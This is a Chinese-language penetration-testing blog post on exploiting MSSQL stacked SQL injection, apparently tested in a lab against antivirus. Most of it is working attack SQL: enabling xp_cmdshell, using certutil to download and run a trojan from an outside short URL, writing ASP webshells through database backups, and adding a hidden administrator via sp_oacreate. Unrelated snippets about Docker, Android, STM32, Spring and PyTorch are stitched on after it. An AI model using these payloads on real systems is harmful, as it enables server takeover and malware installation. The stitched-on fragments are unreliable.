前一段时间遇到了两个mssql的注入,一个是可以限制长度的命令执行,另一个是网站可以注入,但是主机存在杀软,不可以使用xp_cmdshell,所以总结一下mssql堆叠注入环境下的函数利用,以及杀软的反应
当然,下面的函数基本都要基于dba权限,如果不是dba的话,拥有相关权限也是可以的
这里使用win2008搭建了iis和mssql环境,mssql的默认用户是network权限,数据库连接使用sa权限
写webshell的话需要知道相应的目录权限,可以通过报错信息,字典来猜测,执行命令和相关函数来搜索,读取iis的配置文件等方式,这里主要来使用xp_cmdshell
和xp_dirtree
来演示
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
如果不能回显的话,可以把查询结果写入数据表中,之后通过注入来获取相关目录信息
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
select * from tmp;
这里只测试了某卫士
这个函数杀软没有反应
开启xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
查找asp所在目录
CREATE TABLE cmdtmp (dir varchar(8000));
exec master..xp_cmdshell 'for /r c:\inetpub %i in (1*.asp) do @echo %i'
select * from cmdtmp
可以看到对xp_cmdshell
函数拦截比较严格
可以通过xp_cmdshell
函数来执行命令写shell
开启xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
使用xp_cmdshell
下载和执行muma
exec master..xp_cmdshell 'certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe'
exec master..xp_cmdshell '%temp%/1.exe'
如果遇到长度限制的话可以参考我的另一篇文章记一次asp+mssql的注入和命令执行(已脱敏)
和前面一样,对这个函数限制比较严格,哪怕是错误命令都不能执行
backup database test to disk = 'C:\test\bak.bak';
create table [dbo].[test1] ([cmd] [image]);
insert into test1(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database test to disk='C:\test\d.asp' WITH DIFFERENTIAL,FORMAT;
这里的0x3C25657865637574652872657175657374282261222929253E
是对应文本的
16进制编码
这里在有杀软的情况下可以正常执行,无杀软的情况下就不再测试,不过
backup database test to disk = 'C:\inetpub\wwwroot\bak.bak';
backup database test to disk='C:\inetpub\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;
在写shell 的时候会因为目录权限问题而导致无法写入
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FULL 如果权限不够的话就要看是否已经开启log备份
alter database test set RECOVERY FULL;
create table cmd1 (a image);
backup log test to disk = 'C:\test\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
backup log test to disk = 'C:\test\hack2.asp';
可以正常执行
执行alter database test set RECOVERY FULL
后无法执行backup log
操作,重启数据库之后才可以,还存在目录权限问题,写文件到C:\test\hack.asp
可以,
backup log test to disk = 'C:\inetpub\wwwroot\hack2.asp';
存在目录权限问题
开启sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123 /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add';
因为权限问题无法创建,这里使用写文件的方式
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c echo 123>c:\test\123.txt';
应该是对命令执行比较敏感
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://www.cnblogs.com/xishaonian/p/7421592.html
哦狗win10 docker-desktop安装记录Q:为什么要安装win10 docker呢?A: 由于多分枝对应多服务器,服务端资源有限,长连接端口不可重复无法路由而产生的方案1.Windows功能Hyper-V启用1.本地配置hosts 目录位置: C:\Windows\System32\drivers\etc目的: 在开发环节,修改连接DB 地址时可以采用映射机制,在切换个人或者主服务器时只需要修改server_area或者server_group即可,方便快捷2.Install
简介SpannableStringBuilder与String一样都实现了CharSequence类,用来存储字符串,区别在于SpannableStringBuilder有一个setSpan()函数,能给给存储的字符串添加各种各样的格式或者属性,,将原来的String以不同的样式显示出来,比如加上下划线、背景颜色、字体颜色、设置点击监听、设置超链接等。setSpan()函数:SpannableSt
一.Flash介绍不同型号的STM32F40xx/41xx,其FLASH容量也有所不同,最小的只有128K字节,最大的则达到了1024K字节。STM32F4的FLASH容量为1024K字节,如参考手册图:STM32F4的闪存模块由:主存储器、系统存储器、OPT区域和选项字节等4部分组成。主存储器,该部分用来存放代码和数据常数(如const类型的数据)。分为12个扇区,前4个扇区为1
import org.springframework.context.annotation.Configuration;import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;@Configurationpublic class WebConfi.
高通MSM8916芯片数据参考今天分享高通MSM8*16芯片的资料,本次有的资料是原理图,工作原理,设计指南,等多个压缩包的资料,满足您的开发需求,闯客网技术论坛关于高通的其他芯片资料还有很多,欢迎下载交流:613377058,以下是MSM8X16的简介和些许特点,想要更完整的资料可以在这里获取:https://bbs.usoftchina.com/thread-198974-1-1.h...
批处理是可以实现文件内部函数调用的。 @ECHO OFF SETLOCAL SET arg=1 CALL :Print %arg% SET arg=2 CALL :Print %arg% CALL :PlusOne echo %arg% ENDLOCALGOTO :EOF:Print ECHO %1GOTO :EOF:PlusOne SET /a arg=%arg%+1GOTO
先上效果图:HTML部分 <div class="" id="box"> <ul> <li v-for="v in list" :key="v.value"> <img v-bind:src="v.src" alt=""> <h4>{{v.des}}</h4> <p>{{v.price}}</p> </li> </ul> </d
Ubuntu 14.04 安装中文环境安装中文语言包sudo apt-get update && sudo apt-get install language-pack-zh-hans
太粗心了,保存模型的时候写错了,写成了如下:torch.save(model,model_file)而实际上应该是:torch.save(model.state_dict(),model_file)其他的错误如下:torch.save(model.state_dict,model_file)
二分查找是一种高效的查找算法;非递归二分查找可参考此篇博文
Ubuntu中安装及配置postgreSQL1 安装及设置说明此文档使用离线安装包安装postgreSQL,安装之前必须确认Linux已设置的对任意用户可读可写的共享目录(设置过程详见Ubuntu中使用samba设置共享)。本次离线安装的postgreSQL版本为postgres_9.1.9-1.amd64.openscg.deb二进制文件。postgreSQL安装文件已经上传到Ubu
这里调用的是百度文字转语音开放APIhtml: 1 <div> 2 <input type="text" id="ttsText"> 3 <input type="button" id="tts_btn" onclick="doTTS()" value="播放"> 4 </div> 5 <...